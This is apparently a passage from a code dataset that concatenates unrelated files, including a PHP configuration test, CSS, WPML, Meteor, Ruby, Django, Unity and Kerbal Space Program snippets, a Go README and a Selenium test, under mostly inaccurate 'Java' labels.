/^<p>\d+\./.test(html['changingThisBreaksApplicationSecurity'])) {
html['changingThisBreaksApplicationSecurity'] =
'<p>' + html['changingThisBreaksApplicationSecurity']
.substr(html['changingThisBreaksApplicationSecurity'].indexOf('.') + 1);
}
return html;
}
}
| Java |
<?php
/*
* This file is part of the Nexylan packages.
*
* (c) Nexylan SAS <contact@nexylan.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Nexy\PayboxDirect\Tests\Symfony\Bridge\DependencyInjection;
use Matthias\SymfonyDependencyInjectionTest\PhpUnit\AbstractExtensionConfigurationTestCase;
use Nexy\PayboxDirect\Bridge\Symfony\DependencyInjection\Configuration;
use Nexy\PayboxDirect\Bridge\Symfony\DependencyInjection\NexyPayboxDirectExtension;
use SebastianBergmann\Diff\ConfigurationException;
use Symfony\Component\DependencyInjection\Extension\ExtensionInterface;
/**
* @author Sullivan Senechal <soullivaneuh@gmail.com>
*/
class ConfigurationTest extends AbstractExtensionConfigurationTestCase
{
public function testMinimalConfigurationProcess()
{
$expectedConfiguration = [
'client' => null,
'options' => [],
'paybox' => [
'version' => 'direct_plus',
'site' => '1999888',
'rank' => '32',
'identifier' => '107904482',
'key' => '1999888I',
],
];
$sources = [
__DIR__.'/../../../fixtures/config/config_minimal.yml',
];
$this->assertProcessedConfigurationEquals($expectedConfiguration, $sources);
}
public function testFullConfigurationProcess()
{
$expectedConfiguration = [
'client' => 'fake',
'options' => [
'timeout' => 20,
'production' => true,
],
'paybox' => [
'version' => 'direct_plus',
'site' => '1999888',
'rank' => '32',
'identifier' => '107904482',
'key' => '1999888I',
'default_currency' => 'us_dollar',
'default_activity' => 'recurring_payment',
],
];
$sources = [
__DIR__.'/../../../fixtures/config/config_full.yml',
];
$this->assertProcessedConfigurationEquals($expectedConfiguration, $sources);
}
public function testNoneConfigurationProcess()
{
$this->expectExceptionMessageMatches('/"paybox".*"nexy_paybox_direct" must be configured.$/');
$sources = [
__DIR__.'/../../../fixtures/config/config_none.yml',
];
$this->assertProcessedConfigurationEquals([], $sources);
}
protected function getContainerExtension(): ExtensionInterface
{
return new NexyPayboxDirectExtension();
}
protected function getConfiguration(): Configuration
{
return new Configuration();
}
}
| Java |
.jqCron-selector {
position: relative;
}
.jqCron-cross,
.jqCron-selector-title {
cursor: pointer;
border-radius: 3px;
border: 1px solid #ddd;
margin: 0 0.2em;
padding: 0 0.5em;
}
.jqCron-container.disable .jqCron-cross:hover,
.jqCron-container.disable .jqCron-selector-title:hover,
.jqCron-cross,
.jqCron-selector-title {
background: #eee;
border-color: #ddd;
}
.jqCron-cross:hover,
.jqCron-selector-title:hover {
background-color: #ddd;
border-color: #aaa;
}
.jqCron-cross {
border-radius: 1em;
font-size: 80%;
padding: 0 0.3em;
}
.jqCron-selector-list {
background: #eee;
border: 1px solid #aaa;
-webkit-box-shadow: 2px 2px 3px #ccc;
box-shadow: 2px 2px 3px #ccc;
left: 0.2em;
list-style: none;
margin: 0;
padding: 0;
position: absolute;
top: 1.5em;
z-index: 1;
}
.jqCron-selector-list li {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
-ms-box-sizing: border-box;
box-sizing: border-box;
cursor: default;
display: inline-block;
margin: 0;
padding: 0.1em 0.4em;
width: 100%;
}
.jqCron-selector-list li.selected {
background: #0088cc;
color: white;
}
.jqCron-selector-list li:hover {
background: #5fb9e7;
color: white;
}
.jqCron-selector-list.cols2 {
width: 4em;
}
.jqCron-selector-list.cols2 li {
width: 50%;
}
.jqCron-selector-list.cols3 {
width: 6em;
}
.jqCron-selector-list.cols3 li {
width: 33%;
}
.jqCron-selector-list.cols4 {
width: 8em;
}
.jqCron-selector-list.cols4 li {
width: 25%;
}
.jqCron-selector-list.cols5 {
width: 10em;
}
.jqCron-selector-list.cols5 li {
width: 20%;
}
.jqCron-error .jqCron-selector-title {
background: #fee;
border: 1px solid #fdd;
color: red;
}
.jqCron-container.disable * {
color: #888;
}
.jqCron-container.disable .jqCron-selector-title {
background: #eee !important;
} | Java |
# from test_plus.test import TestCase
#
#
# class TestUser(TestCase):
#
# def setUp(self):
# self.user = self.make_user()
#
# def test__str__(self):
# self.assertEqual(
# self.user.__str__(),
# 'testuser' # This is the default username for self.make_user()
# )
#
# def test_get_absolute_url(self):
# self.assertEqual(
# self.user.get_absolute_url(),
# '/users/testuser/'
# )
| Java |
<?php
class WPML_ST_Track_Strings_Notice {
const NOTICE_ID = 'wpml-st-tracking-all-strings-as-english-notice';
const NOTICE_GROUP = 'wpml-st-strings-tracking';
/**
* @var WPML_Notices
*/
private $admin_notices;
public function __construct( WPML_Notices $admin_notices ) {
$this->admin_notices = $admin_notices;
}
/**
* @param int $track_strings
*/
public function add( $track_strings ) {
if ( ! $track_strings ) {
return;
}
$options_nonce = 'wpml-localization-options-nonce';
$message = __( 'For String Tracking to work, the option', 'wpml-string-translation' );
$message .= '<strong> ' . __( 'Assume that all texts in PHP strings are in English', 'wpml-string-translation' ) . ' </strong>';
$message .= __( 'was automatically disabled. To enable it back, go to WPML->Theme and Plugins localization.', 'wpml-string-translation' );
$message .= '<input type="hidden" id="' . $options_nonce . '" name="' . $options_nonce . '" value="' . wp_create_nonce( $options_nonce ) . '">';
$notice = $this->admin_notices->get_new_notice( self::NOTICE_ID, $message, self::NOTICE_GROUP );
$notice->set_css_class_types( 'info' );
$notice->add_action( $this->admin_notices->get_new_notice_action( __( 'Cancel and undo changes', 'wpml-string-translation' ), '#', false, false, 'button-primary' ) );
$notice->add_action( $this->admin_notices->get_new_notice_action( __( 'Skip', 'wpml-string-translation' ), '#', false, true ) );
$this->admin_notices->add_notice( $notice );
}
public function remove() {
$this->admin_notices->remove_notice(
self::NOTICE_GROUP,
self::NOTICE_ID
);
}
} | Java |
using System;
using System.Xml.Serialization;
namespace EZOper.NetSiteUtilities.AopApi
{
/// <summary>
/// AlipayEbppPdeductSignValidateResponse.
/// </summary>
public class AlipayEbppPdeductSignValidateResponse : AopResponse
{
}
}
| Java |
#ifndef ACCOUNTDIALOG_H
#define ACCOUNTDIALOG_H
#include <QDialog>
namespace Ui {
class AccountDialog;
}
class AccountDialog : public QDialog
{
Q_OBJECT
public:
explicit AccountDialog(QWidget *parent = 0);
~AccountDialog();
private slots:
// TODO: 三个槽变成一个
void on_azureDefaultRadioButton_clicked();
void on_azureChinaRadioButton_clicked();
void on_azureOtherRadioButton_clicked();
void on_testAccessPushButton_clicked();
void on_savePushButton_clicked();
private:
Ui::AccountDialog *ui;
};
#endif // ACCOUNTDIALOG_H
| Java |
import Telescope from 'meteor/nova:lib';
import Posts from "meteor/nova:posts";
import Comments from "meteor/nova:comments";
import Users from 'meteor/nova:users';
serveAPI = function(terms){
var posts = [];
var parameters = Posts.parameters.get(terms);
const postsCursor = Posts.find(parameters.selector, parameters.options);
postsCursor.forEach(function(post) {
var url = Posts.getLink(post);
var postOutput = {
title: post.title,
headline: post.title, // for backwards compatibility
author: post.author,
date: post.postedAt,
url: url,
pageUrl: Posts.getPageUrl(post, true),
guid: post._id
};
if(post.body)
postOutput.body = post.body;
if(post.url)
postOutput.domain = Telescope.utils.getDomain(url);
if (post.thumbnailUrl) {
postOutput.thumbnailUrl = Telescope.utils.addHttp(post.thumbnailUrl);
}
var twitterName = Users.getTwitterNameById(post.userId);
if(twitterName)
postOutput.twitterName = twitterName;
var comments = [];
Comments.find({postId: post._id}, {sort: {postedAt: -1}, limit: 50}).forEach(function(comment) {
var commentProperties = {
body: comment.body,
author: comment.author,
date: comment.postedAt,
guid: comment._id,
parentCommentId: comment.parentCommentId
};
comments.push(commentProperties);
});
var commentsToDelete = [];
comments.forEach(function(comment, index) {
if (comment.parentCommentId) {
var parent = comments.filter(function(obj) {
return obj.guid === comment.parentCommentId;
})[0];
if (parent) {
parent.replies = parent.replies || [];
parent.replies.push(JSON.parse(JSON.stringify(comment)));
commentsToDelete.push(index);
}
}
});
commentsToDelete.reverse().forEach(function(index) {
comments.splice(index,1);
});
postOutput.comments = comments;
posts.push(postOutput);
});
return JSON.stringify(posts);
};
| Java |
class ImportResult < ActiveRecord::Base
belongs_to :import
enum status: [ :starting, :running, :finishing, :finished, :stalled, :aborted ]
serialize :found_listing_keys
serialize :removed_listing_keys
serialize :snapshots
def found_count_difference
previous_run = self.import.import_results.where(['start_time < ?', self.start_time]).order("start_time DESC").limit(1).first
previous_run.present? ? self.found_listing_keys.count - previous_run.found_listing_keys.count : nil
end
end
| Java |
package fr.pizzeria.exception;
public class StockageException extends Exception {
public StockageException() {
super();
}
public StockageException(String message, Throwable cause) {
super(message, cause);
}
public StockageException(String message) {
super(message);
}
public StockageException(Throwable cause) {
super(cause);
}
}
| Java |
# swio
--
import "github.com/shipwire/swutil/swio"
Package swio provides additional utilities on top of the standard io package.
## Usage
```go
var DummyReader = newDummy(time.Now().Unix())
```
DummyReader is a reader of pseudo-random data. It is meant to be more efficient
than cryptographically random data, but is useful only in limited cases such as
testing other readers.
#### func ForkReader
```go
func ForkReader(r io.Reader, n int) (head, tail io.Reader)
```
ForkReader accepts a reader and forks it at a given point. It returns two
readers, one that continues from the beginning of the original reader, and
another that reads from the nth byte. Readers are a FIFO stream, so reads from
the second reader can't actually jump ahead. To solve this problem, reads from
the tail cause the entire remaining contents of the head to be transparently
read into memory.
#### func NewReadCloser
```go
func NewReadCloser(r io.Reader, c CloseFunc) io.ReadCloser
```
NewReadCloser wraps r with CloseFunc c.
#### func SeekerPosition
```go
func SeekerPosition(r io.Seeker) (int64, error)
```
SekerPosition returns the current offset of an io.Seeker
#### func TeeReadCloser
```go
func TeeReadCloser(r io.ReadCloser, w io.Writer) io.ReadCloser
```
TeeReadCloser returns a ReadCloser that writes everything read from it to w. Its
content is read from r. All writes must return before anything can be read. Any
write error will be returned from Read. The Close method on the returned
ReadCloser is called derived from r.
#### type CloseFunc
```go
type CloseFunc func() error
```
CloseFunc documents a function that satisfies io.Closer.
#### type ReadCounter
```go
type ReadCounter interface {
io.Reader
BytesRead() int64
}
```
ReadCounter is a reader that keeps track of the total number of bytes read.
#### func NewReadCounter
```go
func NewReadCounter(r io.Reader) ReadCounter
```
NewReadCounter wraps a Reader in a ReadCounter.
#### type ReadSeekerAt
```go
type ReadSeekerAt interface {
io.ReadSeeker
io.ReaderAt
}
```
ReadSeekerAt is the interface that groups io.ReadSeeker and io.ReaderAt.
#### type ReadSeekerCloser
```go
type ReadSeekerCloser interface {
io.Reader
io.Seeker
io.Closer
}
```
ReadSeekerCloser wraps the io.Reader, io.Seeker, and io.Closer types.
#### func NewReadSeekerCloser
```go
func NewReadSeekerCloser(r io.ReadSeeker, c CloseFunc) ReadSeekerCloser
```
NewReadSeekerCloser wraps r with the close function c.
#### func NewSeekBufferCloser
```go
func NewSeekBufferCloser(r io.ReadCloser, l int64) ReadSeekerCloser
```
NewSeekBufferCloser creates a new SeekBuffer using ReadCloser r. l is the
initial capacity of the internal buffer. The close method from r is forwarded to
the returned ReadSeekerCloser.
#### func NopReadSeekerCloser
```go
func NopReadSeekerCloser(r io.ReadSeeker) ReadSeekerCloser
```
NopReadSeekerCloser wraps r with a no-op close function.
#### type SeekBuffer
```go
type SeekBuffer struct {
}
```
SeekBuffer contains a reader where all data read from it is buffered, and thus
both readable and seekable. It essentially augments bytes.Reader so that all
data does not need to be read at once.
#### func NewSeekBuffer
```go
func NewSeekBuffer(r io.Reader, l int64) *SeekBuffer
```
NewSeekBuffer creates a new SeekBuffer using reader r. l is the initial capacity
of the internal buffer. If r happens to be a ReadSeeker already, r is used
directly without any additional copies of the data.
#### func (*SeekBuffer) Read
```go
func (s *SeekBuffer) Read(b []byte) (int, error)
```
Read reads from the internal buffer or source reader until b is filled or an
error occurs.
#### func (*SeekBuffer) ReadAt
```go
func (s *SeekBuffer) ReadAt(b []byte, off int64) (int, error)
```
ReadAt implements io.ReaderAt for SeekBuffer.
#### func (*SeekBuffer) Seek
```go
func (s *SeekBuffer) Seek(offset int64, whence int) (int64, error)
```
Seek implements io.Seeker for SeekBuffer. If the new offset goes beyond what is
buffered, SeekBuffer will read from the source reader until offset can be
reached or an error is returned. If whence is 2, SeekBuffer will read until EOF
or an error is reached.
#### type WriteCounter
```go
type WriteCounter interface {
io.Writer
BytesWritten() int64
}
```
WriteCounter is a writer that keeps track of the total number of bytes written.
#### func NewWriteCounter
```go
func NewWriteCounter(w io.Writer) WriteCounter
```
NewWriteCounter wraps a Writer in a WriteCounter
| Java |
from rest_framework import serializers
from django.contrib.auth.models import User
from dixit.account.models import UserProfile
class UserProfileSerializer(serializers.ModelSerializer):
class Meta:
model = UserProfile
fields = ('name', )
class UserSerializer(serializers.ModelSerializer):
"""
Serializes User objects
"""
profile = UserProfileSerializer()
class Meta:
model = User
fields = ('id', 'username', 'email', 'profile', )
| Java |
# == Schema Information
#
# Table name: tecnicos
#
# id :integer not null, primary key
# phone_number :string
# health_post_id :integer
# created_at :datetime not null
# updated_at :datetime not null
# name :string
#
class Tecnico < ActiveRecord::Base
include SendsMessages
belongs_to :health_post
has_many :messages
validates_uniqueness_of :phone_number
end
| Java |
using System;
using System.Collections.Generic;
namespace Paladino.Drawing
{
/// <summary>
/// The thumbnails class handles all thumbnails to different types of content
/// embedded in the core.
/// </summary>
public static class Thumbnails
{
#region Members
private static Dictionary<Guid, string> guidToThumb = null;
private static Dictionary<string, string> typeToThumb = null;
private static Dictionary<string, Guid> typeToGuid = null;
private static object mutex = new object();
#endregion
/// <summary>
/// Gets whether the current thumbnail collection contains a
/// thumbnail for the given mime-type.
/// </summary>
/// <param name="type">The mime-type</param>
/// <returns>Whether the key exists</returns>
public static bool ContainsKey(string type)
{
Ensure();
return typeToThumb.ContainsKey(type);
}
/// <summary>
/// Gets whether the current thumbnail collection contains a
/// thumbnail for the given thumbnail id.
/// </summary>
/// <param name="id">The id</param>
/// <returns>Whether the key exists</returns>
public static bool ContainsKey(Guid id)
{
Ensure();
return guidToThumb.ContainsKey(id);
}
/// <summary>
/// Gets the resource path for the thumbnail with the given id.
/// </summary>
/// <param name="id">The id</param>
/// <returns>The resource path</returns>
public static string GetById(Guid id)
{
Ensure();
return guidToThumb[id];
}
/// <summary>
/// Gets the resource path fo the thumbnail with the given mime-type.
/// </summary>
/// <param name="type">The mime-type</param>
/// <returns>The resource path</returns>
public static string GetByType(string type)
{
Ensure();
if (!String.IsNullOrEmpty(type))
return typeToThumb[type];
return typeToThumb["default"];
}
/// <summary>
/// Gets the internal thumbnail id for the given mime-type.
/// </summary>
/// <param name="type">The mime-type</param>
/// <returns>The thumbnail id</returns>
public static Guid GetIdByType(string type)
{
Ensure();
if (!String.IsNullOrEmpty(type))
{
if (ContainsKey(type))
return typeToGuid[type];
}
return Guid.Empty;
}
#region Private methods
/// <summary>
/// Ensures that the thumbnail collection is created.
/// </summary>
private static void Ensure()
{
if (guidToThumb == null)
{
lock (mutex)
{
if (guidToThumb == null)
{
guidToThumb = new Dictionary<Guid, string>();
typeToThumb = new Dictionary<string, string>();
typeToGuid = new Dictionary<string, Guid>();
// Pdf
Add(new Guid("6DC9DF6B-3378-4576-90B5-2E801C6484EA"), "application/pdf", "Piranha.Areas.Manager.Content.Img.ico-pdf-64.png");
// Excel
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/vnd.ms-excel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/msexcel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-msexcel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-ms-excel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-excel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-dos_ms_excel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/xls", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-xls", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
// Mp3
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mpeg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mpeg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mp3", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mp3", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mpeg3", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mpeg3", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mpg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mpg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mpegaudio", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// Wma
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-ms-wma", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// Flac
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/flac", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// Ogg
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/ogg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// M4a
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mp4a-latm", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mp4", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// Avi
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/avi", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/msvideo", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/x-msvideo", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "image/avi", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/xmpg2", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "application/x-troff-msvideo", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "audio/aiff", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "audio/avi", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
// Mpeg
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/mpeg", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/mp4", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
// Mov
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/quicktime", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/x-quicktime", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "image/mov", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "audio/x-midi", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "audio/x-wav", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
// Ppt
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/vnd.ms-powerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/mspowerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/ms-powerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/mspowerpnt", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/vnd-mspowerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/powerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/x-powerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/x-m", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
// Zip
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/zip", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/x-zip", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/x-zip-compressed", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/octet-stream", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/x-compress", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/x-compressed", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "multipart/x-zip", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
// Rar
Add(new Guid("F63BBF1C-93F5-4B90-9337-232EBBB65908"), "application/x-rar-compressed", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
// Folder
Add(new Guid("D604308B-BDFC-42FA-AAAA-7D0E9FE8DE5A"), "folder", "Piranha.Areas.Manager.Content.Img.ico-folder-96.png");
Add(new Guid("D604308B-BDFC-42FA-AAAA-7D0E9FE8DE5A"), "folder-small", "Piranha.Areas.Manager.Content.Img.ico-folder-32.png");
// Reference
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "youtube.com", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "vimeo.com", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(Guid.Empty, "reference", "Piranha.Areas.Manager.Content.Img.ico-doc-64.png");
// Default
Add(Guid.Empty, "default", "Piranha.Areas.Manager.Content.Img.ico-doc-64.png");
}
}
}
}
/// <summary>
/// Adds a thumbnail resource with the given id and mime-type.
/// </summary>
/// <param name="id">The thumbnail id</param>
/// <param name="type">The mime-type</param>
/// <param name="thumbnail">The resource path</param>
private static void Add(Guid id, string type, string thumbnail)
{
if (!guidToThumb.ContainsKey(id))
guidToThumb.Add(id, thumbnail);
if (!typeToThumb.ContainsKey(type))
typeToThumb.Add(type, thumbnail);
if (!typeToGuid.ContainsKey(type))
typeToGuid.Add(type, id);
}
#endregion
}
} | Java |
using System.Linq;
using UnityEditor;
using UnityEditor.Animations;
using UnityEngine;
namespace Framework.Editor
{
[CustomActionEditor(typeof(ActionAnimParam))]
public class ActionGraphEditorAnimParamNode : ActionGraphEditorNode
{
public ActionAnimParam Node => (ActionAnimParam) ActionNode;
public ActionGraphEditorAnimParamNode(ActionGraph graph, ActionGraphNode node, ActionGraphPresenter presenter)
: base(graph, node, presenter)
{
}
private void SetNewParam(AnimatorControllerParameter param)
{
Undo.RecordObject(Node, "Changed anim param");
Node.AnimParam.Name = param.name;
switch (param.type)
{
case AnimatorControllerParameterType.Trigger:
Node.AnimParam = new Variant
(
new SerializedType(typeof(bool), ActionAnimParam.TriggerMetadata)
);
break;
case AnimatorControllerParameterType.Bool:
Node.AnimParam = new Variant
(
typeof(bool)
);
Node.AnimParam.SetAs(param.defaultBool);
break;
case AnimatorControllerParameterType.Float:
Node.AnimParam = new Variant
(
typeof(float)
);
Node.AnimParam.SetAs(param.defaultFloat);
break;
case AnimatorControllerParameterType.Int:
Node.AnimParam = new Variant
(
typeof(int)
);
Node.AnimParam.SetAs(param.defaultInt);
break;
}
Node.AnimParam.Name = param.name;
}
protected override void DrawContent()
{
if (Node.Anim)
{
GUI.Box(drawRect, GUIContent.none, EditorStyles.helpBox);
var controller = AssetDatabase.LoadAssetAtPath<AnimatorController>(AssetDatabase.GetAssetPath(Node.Anim));
if (controller == null)
{
Debug.LogErrorFormat("AnimatorController must not be null.");
return;
}
int index = -1;
var paramList = controller.parameters.ToList();
var param = paramList.FirstOrDefault(p => p.name == Node.AnimParam.Name);
if (param != null)
{
index = paramList.IndexOf(param);
}
drawRect.x += ContentMargin;
drawRect.width = drawRect.width - ContentMargin * 2;
drawRect.height = VariantUtils.FieldHeight;
int newIndex = EditorGUI.Popup(drawRect, index, paramList.Select(p => p.name).ToArray());
if (newIndex != index)
{
SetNewParam(paramList[newIndex]);
}
if (string.IsNullOrWhiteSpace(Node.AnimParam?.HoldType?.Metadata))
{
drawRect.y += drawRect.height;
VariantUtils.DrawParameter(drawRect, Node.AnimParam, false);
}
}
else
{
EditorGUI.HelpBox(drawRect, "AnimController is required!", MessageType.Error);
}
}
}
} | Java |
/**
* @author Vexatos
*/
@MethodsReturnNonnullByDefault
@ParametersAreNonnullByDefault
package vexatos.backpacks.backpack;
import mcp.MethodsReturnNonnullByDefault;
import javax.annotation.ParametersAreNonnullByDefault;
| Java |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head profile="http://selenium-ide.openqa.org/profiles/test-case">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="selenium.base" href="" />
<title>Text comment permalinks</title>
</head>
<body>
<table cellpadding="1" cellspacing="1" border="1">
<thead>
<tr><td rowspan="1" colspan="3">Text comment permalinks</td></tr>
</thead><tbody>
<tr>
<td>setTimeout</td>
<td>60000</td>
<td></td>
</tr>
<tr>
<td>open</td>
<td>/logout</td>
<td></td>
</tr>
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=127</td>
<td></td>
</tr>
<tr>
<td>waitForTextPresent</td>
<td>Ninth comment</td>
<td></td>
</tr>
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=130</td>
<td></td>
</tr>
<tr>
<td>waitForPageToLoad</td>
<td>60000</td>
<td></td>
</tr>
<tr>
<td>waitForTextPresent</td>
<td>Twelfth comment</td>
<td></td>
</tr>
<!-- tab comment -->
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=108</td>
<td></td>
</tr>
<tr>
<td>verifyTextPresent</td>
<td>Sorry, the page you have requested does not exist.</td>
<td></td>
</tr>
<!-- image comment -->
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=109</td>
<td></td>
</tr>
<tr>
<td>verifyTextPresent</td>
<td>Sorry, the page you have requested does not exist.</td>
<td></td>
</tr>
<!-- not existed comment -->
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=25200000</td>
<td></td>
</tr>
<tr>
<td>verifyTextPresent</td>
<td>Sorry, the page you have requested does not exist.</td>
<td></td>
</tr>
</tbody></table>
</body>
</html>
| Java |
//This code is taken from InflightShipSave by Claw, using the CC-BY-NC-SA license.
//See https://github.com/ClawKSP/InflightShipSave
//Actually I found this code from Kerbal_Construction_Time as well. All bundled in this utility class. Thanks guys ;)
using UnityEngine;
namespace FlightEdit.FlightEdit
{
public class InflightSave
{
public static string TemporarySaveVessel(Vessel VesselToSave)
{
string ShipName = VesselToSave.vesselName;
ShipConstruct ConstructToSave = new ShipConstruct(ShipName, "", VesselToSave.parts[0]);
Quaternion OriginalRotation = VesselToSave.vesselTransform.rotation;
